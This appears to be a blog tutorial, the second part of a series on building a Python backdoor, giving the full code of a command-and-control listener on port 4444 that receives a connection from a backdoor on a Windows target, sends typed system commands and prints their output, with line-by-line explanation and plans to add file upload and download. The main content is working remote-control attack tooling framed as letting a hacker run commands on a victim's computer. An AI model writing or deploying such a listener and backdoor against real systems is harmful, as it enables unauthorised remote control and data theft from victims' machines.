Backdoor 02 : Writing a listener for backdoor using python

#Writing a Backdoor using python PART_2
#WHAT U WILL LEARN

  • TO Creating YOUR own listener 
#CODE: #1_LISTENER
#ESTABLASHING CONNECTION
  1. #!/usr/bin/env python

  2. import socket

  3. listener = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  4. listener.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
  5. listener.bind(("10.0.2.15", 4444))
  6. listener.listen(0)

  7. print("[+]Waiting for incomming connection")
  8. listener.accept()
  9. print("[+]Got a connection")
  • 1st we run the listener in the kali-Linux 'waiting for incoming connection'
  • than we run the backdoor in windows
  • hence 'got a connection'
#Documentation
  • line-5 = listener = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
First of all, we're creating a socket object exactly like we did before.
The only difference is we're calling it listener.
This time, instead of connection
  • line-6 = listener.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
then we're modifying an option so that we can reuse sockets.
  • line-7 = listener.bind(("10.0.2.15", 4444))
Then instead of connecting to a destination, we're actually binding our socket to our computer so that
we listen for incoming connections on port 4444
  • line-8 = listener.listen(0)
we're setting the number of connections (0)
that can be qued before connections start getting refused.
  • line-11 = listener.accept()
And then we're saying that if you get a connection, I want you to accept it.
  • line-12 = print("[+]Got a connection")
Now, once that connection is accepted, let's print Got a connection.
  • line-10 = print("[+]Waiting for incoming connection")
And before we get any connection, before anything gets accepted, let's print 'Waiting for income and connections'.

#CODE: #2_Modefied_Listener
#TO SEE OUTPUT OF SYSTEM COMMAND OF WINDOWS IN LINUX
    1. #!/usr/bin/env python

    2. import socket

    3. listener = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    4. listener.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
    5. listener.bind(("10.0.2.15", 4444))
    6. listener.listen(0)
    7. print("[+]Waiting for incomming connection")
    8. connection, address = listener.accept()
    9. print("[+]Got a connection" + str(address))

    10. while True:
    11. command = raw_input(">> ")
    12. connection.send(command)
    13. result = connection.recv(1024)
    14. print(result)
    #EXPLANATION
    • line-10 = connection, address = listener.accept()
    the listener.accept method according to the documentation it returns 2-values.
    The first value is a socket object that represents the connection that we can use to send or receive data.
    So we're going to call this connection.
    And the second object or the second value returned by this method is the address that is bound to this
    connection. So we'll call this address.
    And will make these variables equal to the value returned from the listener or accept.
    • line-11 = print("[+]Got a connection from" + str(address))
    Since the address represents the address bound to this connection, we can improve this print
    statement by saying that a 'connection From' and will convert the address to a string by saying str(address)) and basically now when we get a connection, we're going to say got a connection from the IP, which we got the connection from.

    Now, the other value that we're capturing is the connection, and this is the socket object that we
    can use in order to send and receive data.
    similar to backdoor we build
    • line-13 = while True:
    using while loop similar as we used in building backdoor
    • line-14 = command = raw_input(">> ")
    First of all, we're going to say my command is equal to the result that's going to be returned from
    raw input.
    And I want the user to see these two arrows(>>) for them to enter their command.
    Keep in mind, if you're using Python-3, you're supposed to use input instead of raw input.

    Now the command variable is going to hold the value entered by the user.
    • line-15 = connection.send(command)
    The sense of something is very similar to what we did before, and we want to send the command as the
    data that we want to send, then our client is going to receive this command.
    It's going to execute the command and it's going to return the result for me.
    • line-16 = result = connection.recv(1024)
    Now, once the back door or the client returns, the result, what I'm going to do is I'm going to say
    the result = connection.recv(1024), and we're going to receive the result in batches of
    1024 bytes
    • line-17 = print(result)
    And finally, we're going to print the result.

    We're sending the command to the back door and then we're waiting for the backdoor to give us the result.
    So basically, the program is going to pause waiting for the result.
    Once it gets the result, it's going to store it in a variable called the result, and then we're goings
    to print it on screen.

    #CONVERTING OUR-CODE TO OOP USING CLASS
    →REASON

    So far, we learned how to use SOCKET in Python in order to connect to computers and transfer data between them.
    WE WROTE BACKDOOR AND LISTENER FRON SCRATCH
    • This method can be used in any scenario where you need to transfer data.
    As an example, we built a backdoor & executed on a target computer. It allows us to execute system commands remotely on that computer.

    Now, when I spoke about back doors, we said the most basic functionality is to allow the hacker to execute system commands remotely.

    But a lot of back doors allow you to do much more than this.
    For example, they'll allow you to upload or download files.
    They allow you to access the system file and so on.

    SO we need to implement more features in our backdoor so that it's more useful.
    And also, as we do this, you're going to learn more about socket programming and about Python in general.

    But before we do that, because we're going to start implementing more features, writing more code,

    it will be a good idea to convert our code, which is right now is just a simple script into an 
    object-oriented program (OOP) that uses classes.

    Post a Comment

    If you have any doubts, please let me know

    Previous Post Next Post